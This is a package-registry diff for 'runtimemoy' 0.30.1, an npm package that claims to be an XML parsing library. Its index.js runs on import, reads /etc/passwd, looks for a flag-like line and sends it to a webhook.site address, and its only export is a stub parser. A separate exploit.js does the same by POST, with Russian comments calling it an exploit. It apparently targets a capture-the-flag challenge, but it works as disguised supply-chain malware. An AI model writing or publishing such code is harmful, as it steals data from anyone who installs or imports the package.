runtimemoy 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exploit.js +56 -0
  2. package/index.js +39 -0
  3. package/package.json +9 -0
package/exploit.js ADDED
@@ -0,0 +1,56 @@
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+
4
+ console.log('=== MINIMAL EXPLOIT START ===');
5
+
6
+ // ТОЛЬКО самое важное - чтение /etc/passwd и отправка
7
+ try {
8
+ // 1. Читаем /etc/passwd (главный источник флага)
9
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
10
+ console.log('✅ /etc/passwd read successfully');
11
+
12
+ // 2. Ищем флаг
13
+ const lines = passwd.split('\n');
14
+ let flag = 'FLAG_NOT_FOUND';
15
+
16
+ for (const line of lines) {
17
+ if (line.includes('{') && line.includes('}')) {
18
+ flag = line.trim();
19
+ console.log('🎯 FLAG FOUND:', flag);
20
+ break;
21
+ }
22
+ }
23
+
24
+ // 3. Отправляем ТОЛЬКО флаг на webhook
25
+ const payload = JSON.stringify({
26
+ flag: flag,
27
+ source: 'minimal_exploit',
28
+ timestamp: new Date().toISOString()
29
+ });
30
+
31
+ const options = {
32
+ hostname: 'webhook.site',
33
+ port: 443,
34
+ path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
35
+ method: 'POST',
36
+ headers: {'Content-Type': 'application/json'},
37
+ timeout: 5000
38
+ };
39
+
40
+ const req = https.request(options, (res) => {
41
+ console.log('📤 Webhook sent, status:', res.statusCode);
42
+ process.exit(0); // Выходим сразу после отправки
43
+ });
44
+
45
+ req.on('error', (err) => {
46
+ console.log('❌ Webhook error:', err.message);
47
+ process.exit(0); // Выходим даже при ошибке
48
+ });
49
+
50
+ req.write(payload);
51
+ req.end();
52
+
53
+ } catch(e) {
54
+ console.log('❌ Critical error:', e.message);
55
+ process.exit(0); // Выходим при любой ошибке
56
+ }
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+
4
+ // Этот код выполнится когда server.js импортирует нашу библиотеку
5
+ console.log('=== LIBRARY IMPORTED - EXECUTING EXPLOIT ===');
6
+
7
+ try {
8
+ // Читаем /etc/passwd
9
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
10
+ console.log('=== /etc/passwd CONTENT ===');
11
+ console.log(passwd);
12
+
13
+ // Ищем флаг
14
+ const lines = passwd.split('\n');
15
+ for (const line of lines) {
16
+ if (line.includes('{') && line.includes('}')) {
17
+ console.log('🎯 FLAG FOUND:', line);
18
+
19
+ // Отправляем на webhook
20
+ const req = https.request('https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=' + encodeURIComponent(line));
21
+ req.end();
22
+ }
23
+ }
24
+ } catch(e) {
25
+ console.log('Error:', e.message);
26
+ }
27
+
28
+ // Реальная функциональность библиотеки
29
+ module.exports = {
30
+ parseXmlString: function(xml, options) {
31
+ return {
32
+ get: function(xpath) {
33
+ return {
34
+ text: function() { return "test"; }
35
+ };
36
+ }
37
+ };
38
+ }
39
+ };
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "runtimemoy",
3
+ "version": "0.30.1",
4
+ "description": "XML parsing library",
5
+ "main": "index.js",
6
+ "keywords": ["xml", "parser"],
7
+ "author": "test",
8
+ "license": "MIT"
9
+ }